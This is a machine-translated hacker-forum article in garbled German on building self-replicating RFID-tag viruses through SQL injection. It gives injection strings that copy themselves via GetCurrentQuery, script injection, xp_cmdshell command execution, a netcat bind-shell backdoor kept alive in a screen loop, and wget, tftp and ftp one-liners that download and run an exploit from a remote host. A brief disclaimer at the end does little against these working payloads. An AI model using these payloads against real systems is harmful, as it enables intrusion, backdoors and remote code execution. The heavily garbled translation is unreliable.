This page has been robot translated, sorry for typos if any. Original content here.

Das Virus in der RFID-Hacking, Struktur.


{Einführung}

Darüber hinaus dieser Artikel zum Thema RFID-Hacking. Grundlagen und beginnen im ersten Artikel zu skizzierte: http://forum.antichat.ru/thread123511.html. Von denen haben wir gelernt, dass RFID Radio Frequency IDentification ist (RFID) Remote-Verfahren zur Speicherung und Übertragung von Informationen, die von Funksignalen Geräte mit RFID-Tags genannt.

Pro Parasiten {}

Die Hauptfunktionen des Virus in Form von Angriffen, kopieren sie selbst und die Ausführung von beliebigem Code. Für diese Zwecke verwendet ein Parasit häufig die Datenbank. Details hängen von der Datenbank, die verwendet wird. Grundsätzlich gibt es zwei Arten von Viren in dieser Art von Angriff: die ersten beliebige Abfragen an die Datenbank verwendet, die zweiten alle Übungen mit quines (Sonderprogramm).
Arbitrary Code, den das Virus hängt von den Mechanismen der Datenbank Antwort auf SQL-Injektion ausführen kann.


{SQL-Injektion}

Die Verwaltungssysteme Verfahren von RFID-Tags von Datenbankabfragen häufig verwendet, um eine Rückkehr von Daten gefolgt, die wiederum mit der richtigen Reihenfolge kopiert werden. Und kopieren Sie sich das Vorhandensein bestimmter Faktoren markieren.

Im Moment können zwei Arten von Viren in Betracht gezogen werden, ist das erste Programm eine einzelne Abfrage, und das zweite ist die Verwendung von mehreren Anfragen.
Die erste Art von Virus, ein Minimum an Platz verwenden, und seine Struktur können eine Kampf Last tragen. Und nur dann verwendet für die Eingabe von Planinformationen bereits auf die Datenbank. Der Virus nutzt mehrere Abfragen im Gegenteil, es ist für die Infektion autoindifikatsii Systeme und setzt bösartigen Code oder andere Nutzlast erstellt. Am häufigsten verwendete er die zweite Methode, aber richtig zu arbeiten, ist diese Art des Virus erforderlich ist, um richtig mit bestimmten Bedingungen in der Datenbank zu entsprechen, und diese Software arbeitet GetCurrentQuery-Stil Funktionen für den Zugriff. Es ist notwendig, um Fehler zu vermeiden, da diese API ermöglicht es Ihnen, einen Kommentar Fitch einzugeben. (Ich beeile dich zu beruhigen, diese Eigenschaften, die ursprünglich in das System standardmäßig enthalten)

Spezifische Angriffe durchgeführt werden, wenn die Datenbank eine Anforderung an das Etikett gemacht hat, und sie antwortete, wie dieser Inhalt
UPDATE ContainerContents SET OldContents = '% Inhalt%' WHERE TagID = '% id%'

Es wird zamnetsya anschließend Variablen Inhalt und id

Wenn diese Anforderung ohne Fehler sein wird, dann kann ein Angreifer die Anfrage mit unserer Lieblingszitate nach eigenem Ermessen ändern ( ‚‘). Und was können wir tun ??? Und dies ist nur unter dem Gesichtspunkt der Selbstreplikation in der Region NewContents hinzuzufügen und andere Systeme in ähnlicher Weise zu infizieren.

Das ist, was wir brauchen:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur die Fläche OldContents aktualisieren Anfrage aktualisiert nun auch die Fläche NewContents. Mit SQL-Kommentare (-) in der Datenbank alle Zeilen sind peremescheny.Chto neue Möglichkeiten für atakueschego eröffnet.

bösartigen Code einfügen.

In einspritzt Technik oben beschrieben ist, ist es unmöglich, die Ausführung irgendeinen anderen Code als Anfragen data.However Basis, wenn der clientseitige skriptenga, der Server automatisch anfällig wird. Skripte können nach dem Kommentar eingefügt werden, so dass das Datenbanksystem sie ignoriert hat.
Das einzige, was zu beachten, dass, wenn der Exploit-Code, ist es notwendig, einen dritten Parameter SUBSTR zu berücksichtigen, die tatsächliche ausnutzen widerspiegelt.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer ernsteren Version Verwendung von Variablen und fügt nicht nur einige bestimmte quietscht es wie folgt aussehen:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Dann wird der Schadcode zweimal ausgearbeitet werden, dh das erste Mal, es selbst kopieren in die Datenbank, ist das zweite Mal die Leistung selbst.

Im Moment kommentieren die Möglichkeit, in der Oracle (OCI / iSQL * Plus) vorhanden ist, es die Funktionalität GetCurrentQuery-Stil bietet, gefolgt administratora.PostgreSQL Privilegien, MySQL und SQL Server können Sie auch mehrere Kommentare und Anfragen injizieren. Auch hier gibt es Funktionalität GetCurrentQuery-Stil. Allerdings ist PostgreSQL und SQL Server nicht zuverlässig Arbeiter Viren, alle begrenzt auf eine Probe Entwicklungen einzurichten.


{Mehrere Beispiele injiziert bösartigen Code}

System-Management-Funktionen, die von der Datenbank zur Verfügung gestellt, können verwendet werden, um Probleme zu verursachen. Beispiel Microsoft SQL Server bietet eine enge Funktion, die die Datenbank von SQL geschlossen werden kann.
Lesen von Daten aus Basis
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' %' WHERE TagID = '% id%' Daten in der folgenden Abfrage verwendet werden können Anfragen an die Datenbank zu lenken.
'|| (SELECT ...) ||'
In diesem Fall geht die Anführungszeichen SQL-Injection und Kraftdaten als Code interpretiert auszuführen. || der Operator führt Kommunikationssequenz, wodurch das Ergebnis FAVORITE Anforderung an das Feld in der Datenbank hinzugefügt werden. Sequenz Operator benötigt nitrolizovat dh unsere Lieblings-Zitate zu kommentieren.


{Shell-Command Execution durch SQL-inject}

SQL Server bieten die xp_cmdshell Prozedur, die bösartigen und nicht erlaubt, Befehle ausgeführt werden.
EXEC Master..xp_cmdshell 'commands';

{Installieren Backdoors im System}

Für protroyanivaniya System brauchen wir sleduschte Team
netcat -lp1234|sh
die im Jahr 1234 Port zu hören.

Aber hier sind wir in Gefahr, installiert und richtig fairvol oder brendmaura konfiguriert. Und hier ist die Lösung, den Code in einer Endlosschleife laufen, so dass es wie ein Dämon war, was an sich schon eine fortgeschrittenere zurück schafft.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done , um screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Weitere Merkmale}

Es gibt nützlichere Fitch, zum Beispiel wget.Toest die Datei über das Netzwerk verwendet und Speicherdateisystem.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget ist in der Regel auf Windows-Systemen nicht verfügbar. In diesem Fall müssen Sie tftp verwenden
tftp -i ip GET myexploit.exe & myexploit
Sie können auch einen Text Ausfallen schaffen, wie sie im Fluge sagen, die Echo-Funktion
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

Dieser Artikel beschreibt das Eindringen in das betroffene System für RFID-Tags, die von Software .tut Natürlich muss ich Sie warnen, dass das gesamte Material beschrieben wird, nur für die Führung vorgestellt. Angesichts der Komplexität der Ausführungstechnik, nämlich die Festlegung der Ortsmarke und seine Programmierung mit böswilliger Absicht, scheint mir ein chur für die gewöhnlichen Bürger kompliziert. Also ich Leute warnen, die wissen, leiden aber nichts zu tun, es ist nicht notwendig, diese Informationen in der Praxis zu überprüfen.